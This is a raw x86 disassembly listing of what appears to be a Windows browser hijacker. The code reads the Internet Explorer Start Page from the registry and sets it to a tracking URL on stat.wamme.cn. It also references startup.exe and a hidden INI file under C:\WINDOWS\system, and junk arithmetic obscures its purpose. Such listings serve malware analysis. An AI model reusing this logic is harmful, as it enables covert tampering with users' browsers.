mov ecx, dword [0x45b9b0]
mov edx, ecx
imul edx, edx, 0x24a6e6
sub edi, edx
mov eax, 0x9eea7d1d
imul ecx
mov eax, dword [0x45b9c8]
imul eax, eax, 0x458786
add edx, ecx
mov ecx, dword [str.sfdafsdafdsfdsfa]
sar edx, 0x16
add edi, edx
mov ebx, edx
mov edx, dword [0x44cc98]
mov dword [ebp - 0x144], ecx
mov ecx, dword [0x44cca0]
shr ebx, 0x1f
add ebx, edi
add ebx, eax
mov eax, dword [0x44cc9c]
mov dword [ebp - 0x13c], eax
xor eax, eax
mov dword [ebp - 0x140], edx
mov dl, byte [0x44cca4]
mov dword [ebp - 0x138], ecx
mov byte [ebp - 0x134], dl
mov ecx, 0x3c
lea edi, [ebp - 0x133]
rep stosd dword es:[edi], eax
stosw word es:[edi], ax
stosb byte es:[edi], al
mov ecx, 0xa
mov esi, str.SoftwareMicrosoftInternet_ExplorerMain
lea edi, [ebp - 0x40]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [0x45b9ac]
mov eax, 0x7e3fea57
imul ecx
movsw word es:[edi], word [esi]
mov edi, dword [0x45b9c0]
mov esi, dword [0x45b9b4]
imul edi, edi, 0x427252
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x7595e9bf
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9eea7d1d
mov dword [0x45b9c8], ebx
imul ecx
mov dword [ebp - 0x10f8], 0
add edx, ecx
imul ebx, ebx, 0x8b0f0c
sar edx, 0x16
mov ecx, edx
add edi, edx
mov eax, 0x9eea7d1d
imul esi
add edx, esi
shr ecx, 0x1f
sar edx, 0x16
add ecx, edi
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
lea ecx, [ebp - 0x10f8]
push ecx
push 0xf003f
push 0
lea edx, [ebp - 0x40]
push edx
add eax, ebx
push SysReAllocStringLen
mov dword [str._r_____r____], eax
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x420bdd
mov edi, dword [0x45b9c8]
mov esi, dword [0x45b9ac]
mov eax, 0x1ed25ed3
imul esi, esi, str.LresultFromObject
imul edi
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov ecx, edi
imul ecx, ecx, 0x111bd1
add esi, ecx
mov ecx, dword [0x45b9b4]
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
mov ecx, dword [0x45b9c0]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
add esi, edx
mov ebx, edx
mov eax, 0x1d74861
imul edi
imul edi, edi, 0x458786
sar edx, 0xf
shr ebx, 0x1f
add ebx, esi
add ebx, edx
mov esi, edx
shr esi, 0x1f
add esi, ebx
mov ebx, dword [0x45b9c4]
mov eax, 0x9c46284d
imul ebx
add edx, ebx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9a8]
imul edx, edx, 0x346bb5
add eax, edx
mov dword [ebp - 0x10e4], eax
mov eax, 0x8814777b
imul ebx
add edx, ebx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [ebp - 0x10e4]
sub edx, eax
mov eax, ecx
imul eax, eax, 0x40e326
sub edx, eax
mov dword [ebp - 0x10e4], edx
mov eax, 0xc4d8f4f
imul dword [0x45b9b0]
sar edx, 0x12
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov eax, 0x9eea7d1d
imul dword [0x45b9a8]
add ebx, edi
mov dword [ebp - 0x10c8], edi
add edx, dword [0x45b9a8]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
mov dword [0x45b9b8], esi
add eax, edx
mov edx, dword [ebp - 0x10e4]
imul ecx, ecx, 0x533b61
mov edi, dword [0x45b9ac]
add ebx, edx
add eax, ebx
mov ebx, dword [0x45b9bc]
mov dword [0x45b9a8], eax
imul ebx, ebx, 0x346bb5
mov eax, 0x8814777b
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9b0]
sub ebx, eax
mov eax, edx
imul eax, eax, 0x40e326
add ebx, eax
mov eax, 0x7595e9bf
imul edx
mov eax, dword [ebp - 0x10c8]
add ebx, ecx
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
add ecx, eax
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, ebx
add eax, ecx
lea ecx, [ebp - 0x10e4]
push ecx
mov ecx, dword [ebp - 0x10f8]
lea edx, [ebp - 0x144]
push edx
mov dword [0x45b9bc], eax
lea eax, [ebp - 0x10c8]
push eax
push 0
push str.Start_Page
push ecx
mov dword [ebp - 0x10e4], 0x104
mov dword [ebp - 0x10c8], 1
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x420bdd
mov ecx, dword [0x45b9ac]
mov edi, dword [0x45b9c0]
mov eax, 0x76294c27
imul ecx
mov esi, edi
imul esi, esi, 0x427252
sar edx, 0x15
mov ecx, edx
add esi, edx
shr ecx, 0x1f
mov ebx, dword [str._r_____r____]
add ecx, esi
mov esi, dword [0x45b9c8]
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov dword [ebp - 0x10dc], eax
mov eax, 0x9eea7d1d
imul ebx
mov eax, dword [ebp - 0x10dc]
add edx, ebx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add eax, edx
add ecx, eax
mov eax, dword [0x56f7f8]
sub ecx, ebx
add ecx, 0x26e3e3
test eax, eax
mov dword [0x45b9ac], ecx
jne 0x420bef
lea edx, [ebp - 0x144]
push str..2345.com
push edx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x420b2a
lea eax, [ebp - 0x144]
push str..2345.COM
push eax
call fcn.0042fea0
add esp, 8
test eax, eax
je 0x420bdd
mov ecx, dword [0x45b9ac]
mov edi, dword [0x45b9c0]
mov esi, dword [0x45b9b4]
imul edi, edi, 0x427252
mov eax, 0x7e3fea57
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x7595e9bf
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
add edi, edx
mov eax, 0x9eea7d1d
imul esi
shr ecx, 0x1f
add edx, esi
sar edx, 0x16
add ecx, edi
mov eax, edx
add ecx, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [0x45b9c8]
imul ecx, ecx, 0x8b0f0c
lea edx, [ebp - 0x144]
push edx
add eax, ecx
push str.http:__stat.wamme.cn_C8C_gl_cnzz60.html_HomePage_s
push 0x55e2c8
mov dword [str._r_____r____], eax
mov dword [0x56f7f8], 1
call fcn.0042f401
push 0x132b600
call sym.CallDll.exe_int___cdecl_pro_cess3_int_
add esp, 0x10
push 0x1f40
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov edi, dword [0x45b9c0]
mov ecx, dword [0x45b9ac]
mov esi, dword [0x45b9c8]
mov ebx, dword [0x45b9bc]
imul edi, edi, 0x533b61
imul esi, esi, 0x458786
mov eax, 0x8814777b
imul ebx, ebx, 0x346bb5
imul ecx
add edx, ecx
mov ecx, dword [0x45b9b0]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x40e326
sub ebx, eax
add ebx, edx
mov eax, 0x7595e9bf
imul ecx
mov ecx, dword [0x45b9b8]
sar edx, 0x15
add ebx, edi
mov edi, edx
add ebx, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
mov ecx, dword [ebp - 0x10f8]
sar edx, 0x16
shr edi, 0x1f
mov eax, edx
add edi, ebx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, esi
push ecx
mov dword [0x45b9bc], eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov edi, dword [0x45b9c4]
mov ebx, dword [0x45b9a8]
mov eax, 0x9c46284d
imul edi
add edx, edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ebx
imul edx, edx, 0x346bb5
add eax, edx
mov ecx, eax
mov eax, 0x8814777b
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9c0]
mov esi, dword [0x45b9c8]
imul edx, edx, 0x40e326
sub ecx, eax
imul esi, esi, 0x458786
sub ecx, edx
mov dword [ebp - 0x10dc], ecx
mov ecx, dword [0x45b9b0]
mov eax, 0xc4d8f4f
imul ecx
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, esi
mov dword [ebp - 0x10e4], eax
mov eax, 0x9eea7d1d
imul ebx
mov ecx, ebx
add edx, ecx
sar edx, 0x16
mov ecx, edx
mov eax, dword [ebp - 0x10dc]
mov ebx, dword [0x45b9b8]
shr ecx, 0x1f
add ecx, edx
mov edx, dword [ebp - 0x10e4]
add edx, eax
add ecx, edx
mov eax, 0x7e3fea57
imul ebx
sar edx, 0x15
mov dword [0x45b9a8], ecx
imul ecx, ecx, str.LresultFromObject
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x7595e9bf
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov edx, ebx
imul edx, edx, 0x671938
mov edi, dword [0x45b9b4]
add ecx, edx
mov eax, 0x9eea7d1d
imul ebx
add edx, ebx
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x9eea7d1d
imul edi
add edx, edi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
add ecx, esi
add eax, ecx
mov dword [0x45b9c4], eax
mov eax, dword [ebp - 0x10e8]
mov ecx, dword [eax]
lea edx, [ebp - 0x10e0]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10e0]
push eax
call fcn.004252e0
mov ecx, dword [0x45b9b0]
mov edi, dword [0x45b9a8]
mov esi, dword [0x45b9bc]
imul edi, edi, 0x78665a
mov ebx, eax
mov eax, 0x69527c69
imul ecx
sar edx, 0x14
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov eax, 0x7595e9bf
imul esi
sub edi, ecx
mov ecx, dword [str._r_____r____]
sar edx, 0x15
imul ecx, ecx, 0x45ab1c
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
add edi, ecx
mov ecx, dword [0x45b9c8]
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
add edi, edx
mov eax, edx
mov edx, ecx
imul edx, edx, 0x458786
shr eax, 0x1f
add eax, edi
mov edi, dword [0x45b9c4]
add eax, edx
sub eax, edi
sub eax, 0x346bb5
test ebx, ebx
mov dword [0x45b9b0], eax
je 0x420f07
mov edi, 0x44c2c4
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
jne 0x420efb
mov esi, dword [0x45b9c8]
mov edi, dword [0x45b9ac]
mov eax, 0x1ed25ed3
imul edi, edi, str.LresultFromObject
imul esi
sar edx, 0x13
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, esi
imul edx, edx, 0x111bd1
sub edi, ecx
mov ecx, dword [0x45b9b4]
add edi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
mov ecx, dword [0x45b9c0]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
add edi, edx
mov eax, 0x1d74861
imul esi
shr ecx, 0x1f
sar edx, 0xf
add ecx, edi
mov eax, edx
shr eax, 0x1f
add ecx, edx
add eax, ecx
push 1
mov dword [0x45b9b8], eax
call dword [sym.imp.KERNEL32.DLL_Sleep]
mov eax, dword [ebp - 0x10e8]
mov ecx, dword [eax]
lea edx, [ebp - 0x10e0]
push edx
push eax
call dword [ecx + 0xa0]
mov eax, dword [ebp - 0x10e0]
push eax
call fcn.004252e0
mov ebx, eax
mov esi, dword [0x45b9bc]
mov ecx, dword [0x45b9c8]
mov edx, dword [0x45b9ac]
imul ecx, ecx, 0x458786
mov eax, 0x96ad8397
imul edx
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9b8]
imul edx, edx, 0x533b61
mov edi, esi
imul edi, edi, 0x346bb5
sub eax, edi
add eax, edx
mov edx, dword [0x45b9b4]
imul edx, edx, 0x1ea3a3
sub eax, edx
mov edi, eax
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add edi, edx
push 4
add eax, edi
add eax, ecx
push str.http
push ebx
mov dword [0x45b9c0], eax
call fcn.004305b0
add esp, 0xc
test eax, eax
je 0x4211ed
push 4
push str.HTTP
push ebx
call fcn.004305b0
add esp, 0xc
test eax, eax
je 0x4211ed
push 4
push str.www.
push ebx
call fcn.004305b0
add esp, 0xc
test eax, eax
je 0x4211ed
push 4
push str.WWW.
push ebx
call fcn.004305b0
add esp, 0xc
test eax, eax
je 0x4211ed
push str.http:
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421014
push str.HTTP:
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421014
push str.www.
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421014
push str.WWW.
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
je 0x4211ed
mov ecx, dword [0x45b9bc]
mov eax, 0x76294c27
imul ecx
sar edx, 0x15
mov esi, dword [0x45b9c4]
mov ecx, edx
imul esi, esi, 0x346bb5
shr ecx, 0x1f
add ecx, edx
mov edi, ecx
mov ecx, dword [str._r_____r____]
mov eax, 0xc4d8f4f
imul ecx
mov ecx, dword [0x45b9b0]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x24a6e6
sub edi, esi
sub edi, eax
sub edi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
mov ecx, dword [0x45b9c8]
imul ecx, ecx, 0x458786
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, ecx
push str.http:
push ebx
mov dword [0x45b9c8], eax
call fcn.0042fea0
add esp, 8
test eax, eax
je 0x421199
push str.http:
jmp 0x4211e2
mov esi, dword [0x45b9c4]
imul edi, edi, 0x40e326
imul ecx, ecx, 0x458786
mov eax, 0x9c46284d
imul esi
add edx, esi
sar edx, 0x15
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45b9a8]
imul edx, edx, 0x346bb5
add ebx, edx
mov eax, 0x8814777b
imul esi
add edx, esi
mov esi, dword [0x45b9a8]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9b0]
sub ebx, eax
mov eax, 0xc4d8f4f
imul edx
sar edx, 0x12
sub ebx, edi
mov edi, edx
add ebx, edx
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
shr edi, 0x1f
mov eax, edx
add edi, ebx
shr eax, 0x1f
add edi, edx
add eax, edi
add eax, ecx
push str.startup.exe
mov dword [0x45b9a8], eax
call fcn.0040ebd0
add esp, 4
test eax, eax
jle 0x4202bc
mov eax, dword [ebp - 0x10e8]
test eax, eax
mov byte [ebp - 4], 5
je 0x42115a
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10f4]
test eax, eax
mov byte [ebp - 4], 4
je 0x42116e
mov edx, dword [eax]
push eax
call dword [edx + 8]
mov eax, dword [ebp - 0x10d4]
test eax, eax
mov byte [ebp - 4], 2
je 0x421182
mov ecx, dword [eax]
push eax
call dword [ecx + 8]
mov eax, dword [ebp - 0x10ec]
test eax, eax
mov byte [ebp - 4], 1
je 0x422149
jmp 0x422143
push str.HTTP:
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
je 0x4211b2
push str.HTTP:
jmp 0x4211e2
push str.www.
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
je 0x4211cb
push str.www.
jmp 0x4211e2
push str.WWW.
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
je 0x4211ed
push str.WWW.
push ebx
call fcn.0042fea0
add esp, 8
mov ebx, eax
mov esi, dword [0x45b9b4]
mov eax, 0x7e3fea57
imul dword [0x45b9ac]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edi, eax
mov eax, 0x8a6a1641
imul esi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub eax, edi
mov dword [ebp - 0x10dc], eax
mov ecx, dword [0x45b9c0]
mov eax, 0x9eea7d1d
imul ecx, ecx, 0x427252
imul dword [0x45b9ac]
add edx, dword [0x45b9ac]
mov eax, dword [ebp - 0x10dc]
sar edx, 0x16
add eax, edx
mov edi, edx
shr edi, 0x1f
add edi, eax
mov eax, 0x9eea7d1d
imul esi
add edx, esi
mov esi, dword [0x45b9c8]
sar edx, 0x16
imul esi, esi, 0x8b0f0c
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, ecx
add eax, edi
mov edx, dword [0x44cc04]
add esi, eax
mov dword [ebp - 0x10e4], ecx
xor eax, eax
mov byte [ebp - 0x8c4], 0
mov ecx, 0xff
lea edi, [ebp - 0x8c3]
rep stosd dword es:[edi], eax
mov ecx, dword [str.fdfdadsafdfghfjkt]
stosw word es:[edi], ax
stosb byte es:[edi], al
mov eax, dword [0x44cc08]
mov dword [ebp - 0x4c4], ecx
mov ecx, dword [0x44cc0c]
mov dword [ebp - 0x4c0], edx
mov dx, word [0x44cc10]
mov dword [ebp - 0x4bc], eax
mov dword [ebp - 0x4b8], ecx
mov word [ebp - 0x4b4], dx
xor eax, eax
mov ecx, 0x7b
lea edi, [ebp - 0x4b2]
rep stosd dword es:[edi], eax
mov ecx, dword [0x45b9c8]
stosw word es:[edi], ax
mov eax, 0x76294c27
imul dword [0x45b9ac]
sar edx, 0x15
mov edi, edx
shr edi, 0x1f
add edi, edx
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add edi, edx
mov eax, 0x9eea7d1d
add ecx, edi
imul esi
mov dword [str._r_____r____], esi
add edx, esi
sar edx, 0x16
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, dword [ebp - 0x10e4]
sub eax, esi
lea ecx, [eax + ecx + 0x26e3e3]
mov esi, ebx
mov dword [0x45b9ac], ecx
lea edi, [esi + 1]
lea esp, [esp]
mov al, byte [esi]
inc esi
test al, al
jne 0x421350
sub esi, edi
mov dword [ebp - 0x10dc], esi
je 0x421494
push str.http:__
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push str.HTTP:__
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push str.www.
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push str.WWW.
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push str..COM
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push str..com
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push str..NET
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push str..net
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push str..ORG
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push str..org
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push 0x44cbbc
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push 0x44cbb8
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push str..htm
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x421479
push str..HTM
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
je 0x42148e
push ebx
lea edx, [ebp - 0x4c4]
push str.__s_
push edx
call fcn.0042f401
add esp, 0xc
mov ecx, dword [0x45b9ac]
mov esi, dword [0x45b9c0]
mov edi, dword [0x45b9b4]
imul esi, esi, 0x427252
mov eax, 0x7e3fea57
imul ecx
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x7595e9bf
imul edi
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub esi, eax
mov eax, 0x9eea7d1d
imul ecx
add edx, ecx
sar edx, 0x16
add esi, edx
mov ecx, edx
mov eax, 0x9eea7d1d
imul edi
mov eax, dword [0x45b9c8]
shr ecx, 0x1f
imul eax, eax, 0x8b0f0c
add ecx, esi
add edx, edi
push str.C:WINDOWS_system_sdax.txt
sar edx, 0x16
push 0x400
mov esi, edx
add ecx, edx
lea edx, [ebp - 0x8c4]
push edx
shr esi, 0x1f
push 0x44bdb5
add esi, ecx
push str.rtgbh
add esi, eax
push str.asdf
mov dword [str._r_____r____], esi
call dword [sym.imp.KERNEL32.DLL_GetPrivateProfileStringA]
test ebx, ebx
je 0x42168d
mov eax, ebx
lea edx, [eax + 1]
lea esp, [esp]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x421540
sub eax, edx
mov dword [ebp - 0x10dc], eax
je 0x42168d
mov edi, 0x44c2c4
mov esi, ebx
mov ecx, 0xc
xor eax, eax
repe cmpsb byte [esi], byte es:[edi]
je 0x42168d
lea ecx, [ebp - 0x144]
push ecx
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x4215eb
lea edx, [ebp - 0x144]
push ebx
push edx
call fcn.0042fea0
add esp, 8
test eax, eax
jne 0x4215eb
mov edi, str.http:__i.maxthon.cn_
mov esi, ebx
lea ebx, [ebx]
mov cl, byte [esi]
mov dl, byte [edi]
mov al, cl
cmp cl, dl
jne 0x4215c8
test al, al
je 0x4215c4
mov dl, byte [esi + 1]
mov cl, byte [edi + 1]
mov al, dl
cmp dl, cl
jne 0x4215c8
add esi, 2
add edi, 2
test al, al
jne 0x4215a0
xor eax, eax
jmp 0x4215cd
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x4215eb
lea eax, [ebp - 0x4c4]
push eax
lea ecx, [ebp - 0x8c4]
push ecx
call fcn.0042fea0
add esp, 8
test eax, eax
je 0x421603
lea edx, [ebp - 0x1c4]
push edx
push ebx
call fcn.0042fea0
add esp, 8
test eax, eax
je 0x42168d
mov ecx, dword [0x45b9b0]
mov esi, dword [0x45b9a8]
mov eax, 0x69527c69
imul esi, esi, 0x78665a
imul ecx
sar edx, 0x14
mov eax, edx
mov edi, dword [str._r_____r____]
shr eax, 0x1f
add eax, edx
sub esi, eax
mov ebx, dword [0x45b9c8]
mov eax, 0x7595e9bf
imul dword [0x45b9bc]
sar edx, 0x15
mov ecx, edx
shr ecx, 0x1f
add ecx, edx
mov edx, edi
imul edx, edx, 0x45ab1c
sub esi, ecx
add esi, edx
mov eax, 0x9eea7d1d
imul ebx
mov eax, ebx
imul eax, eax, 0x458786
add edx, ebx
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov esi, dword [0x45b9c4]
add ecx, eax
sub ecx, esi
sub ecx, 0x346bb5
mov dword [0x45b9b0], ecx
jmp 0x421753
push 0
call fcn.0042fa37
mov ecx, dword [0x45b9c8]
mov dword [0x56f7f4], eax
mov eax, dword [0x56f7f0]
mov edi, dword [0x45b9ac]
add esp, 4
imul edi, edi, str.LresultFromObject
inc eax
mov dword [0x56f7f0], eax
mov esi, dword [0x45b9b4]
mov eax, 0x1ed25ed3
imul ecx
sar edx, 0x13
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, ecx
imul edx, edx, 0x111bd1
sub edi, eax
add edi, edx
mov eax, 0x9eea7d1d
imul esi
add edx, esi
mov esi, dword [0x45b9c0]
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
sub edi, eax
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
mov esi, edx
add edi, edx
mov eax, 0x1d74861
imul ecx
mov eax, dword [ebp - 0x10e8]
sar edx, 0xf
shr esi, 0x1f
mov ecx, edx
add esi, edi
shr ecx, 0x1f
add esi, edx
add ecx, esi
mov dword [0x45b9b8], ecx
mov ecx, dword [ebp - 0x10d8]
mov edx, dword [eax]
push ecx
push eax
call dword [edx + 0x9c]
mov edi, dword [str._r_____r____]
mov ebx, dword [0x45b9c8]
mov esi, dword [0x45b9c4]
mov ecx, dword [0x45b9b0]
imul ebx, ebx, 0x458786
mov eax, 0x9c46284d
imul esi
add edx, esi
sar edx, 0x15
mov dword [ebp - 0x10c8], ebx
mov ebx, edx
shr ebx, 0x1f
add ebx, edx
mov edx, dword [0x45b9a8]
imul edx, edx, 0x346bb5
add ebx, edx
mov eax, 0x8814777b
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9c0]
imul edx, edx, 0x40e326
sub ebx, eax
sub ebx, edx
mov eax, 0xc4d8f4f
imul ecx
mov ecx, dword [ebp - 0x10c8]
sar edx, 0x12
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, ecx
mov dword [ebp - 0x10d8], eax
mov eax, 0x9eea7d1d
imul dword [0x45b9a8]
add edx, dword [0x45b9a8]
mov eax, dword [ebp - 0x10d8]
sar edx, 0x16
mov ecx, edx
shr ecx, 0x1f
add eax, ebx
add ecx, edx
add ecx, eax
mov eax, dword [ebp - 0x10d0]
test eax, eax
mov dword [0x45b9a8], ecx
je 0x421e9f
lea ebx, [eax + 1]
mov edi, edi
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x421800
sub eax, ebx
mov dword [ebp - 0x10d8], eax
je 0x421e9f
mov eax, dword [0x45b9b8]
imul ecx, ecx, 0x427252
imul edi, edi, 0x671938
imul eax, eax, 0x78665a
add ecx, eax
mov eax, 0x76294c27
imul dword [0x45b9bc]
sar edx, 0x15
mov eax, edx
shr eax, 0x1f
add eax, edx
sub ecx, eax
mov eax, 0x9eea7d1d
imul esi
add edx, esi
sar edx, 0x16
mov eax, edx
shr eax, 0x1f
add eax, edx
add eax, dword [ebp - 0x10c8]
add eax, ecx
mov ecx, dword [0x45b9c0]
add edi, eax
lea edx, [edi + ecx - 0x346bb5]
push 0xffffffffffffffff
push 0x55f3d0
lea ecx, [ebp - 0x1140]
mov dword [0x45b9b4], edx
call fcn.00406ab0
mov ecx, dword [0x45b9bc]
mov ebx, dword [0x45b9b4]
mov eax, 0x96ad8397
imul dword [0x45b9ac]
sar edx, 0x14
mov eax, edx
shr eax, 0x1f
add eax, edx
mov edx, dword [0x45b9b8]
mov esi, ecx
imul edx, edx, 0x533b61
imul esi, esi, 0x346bb5
mov edi, eax
mov eax, ebx
imul eax, eax, 0x1ea3a3
sub edi, esi
add edi, edx
sub edi, eax
mov eax, 0x9eea7d1d
imul ecx
mov eax, dword [ebp - 0x10d0]
add edx, ecx
sar edx, 0x16
mov esi, edx
add edi, edx
shr esi, 0x1f
add esi, edi
mov edi, dword [0x45b9c8]
mov ecx, edi
imul ecx, ecx, 0x458786
add esi, ecx
mov byte [ebp - 4], 7
mov dword [0x45b9c0], esi
mov dword [ebp - 0x10c8], 0x55ebc8
jmp 0x421910
mov dl, byte [eax]
mov ecx, dword [ebp - 0x10c8]
mov byte [ebp - 0x10c9], dl
cmp dl, byte [ecx]
jne 0x421958
mov cl, dl
test cl, cl
je 0x421954
mov dl, byte [eax + 1]
mov ecx, dword [ebp - 0x10c8]
mov byte [ebp - 0x10c9], dl
cmp dl, byte [ecx + 1]
jne 0x421958
mov edx, ecx
mov cl, byte [ebp - 0x10c9]
add edx, 2
add eax, 2
test cl, cl
mov dword [ebp - 0x10c8], edx
jne 0x421910
xor eax, eax
jmp 0x42195d
sbb eax, eax
sbb eax, 0xffffffff
test eax, eax
je 0x421e84
mov eax, 0x76294c27
imul dword [0x45b9ac]
sar edx, 0x15
mov ecx, esi
imul ecx, ecx, 0x427252
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov ecx, eax
mov eax, 0x9eea7d1d
imul edi
add edx, edi
sar edx, 0x16
add ecx, edx
mov eax, edx
shr eax, 0x1f
add eax, ecx
mov dword [ebp - 0x10d8], eax
mov eax, 0x9eea7d1d
imul dword [str._r_____r____]
add edx, dword [str._r_____r____]
mov eax, dword [ebp - 0x10d8]
sar edx, 0x16
mov ecx, edx
add eax, edx
mov edx, dword [str._r_____r____]
shr ecx, 0x1f
add ecx, eax
mov eax, dword [ebp - 0x10d0]
sub ecx, edx
add ecx, 0x26e3e3
lea edx, [eax + 1]
mov dword [0x45b9ac], ecx
mov dword [ebp - 0x10d8], edx
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x4219e7
sub eax, dword [ebp - 0x10d8]
cmp eax, 0x800
jae 0x421a15
mov ecx, dword [ebp - 0x10d0]
mov edx, 0x55ebc8
mov al, byte [ecx]
inc ecx
mov byte [edx], al
inc edx
test al, al
jne 0x421a06
jmp 0x421aae
mov eax, 0x1ed25ed3
imul ecx, ecx, str.LresultFromObject
imul edi
sar edx, 0x13
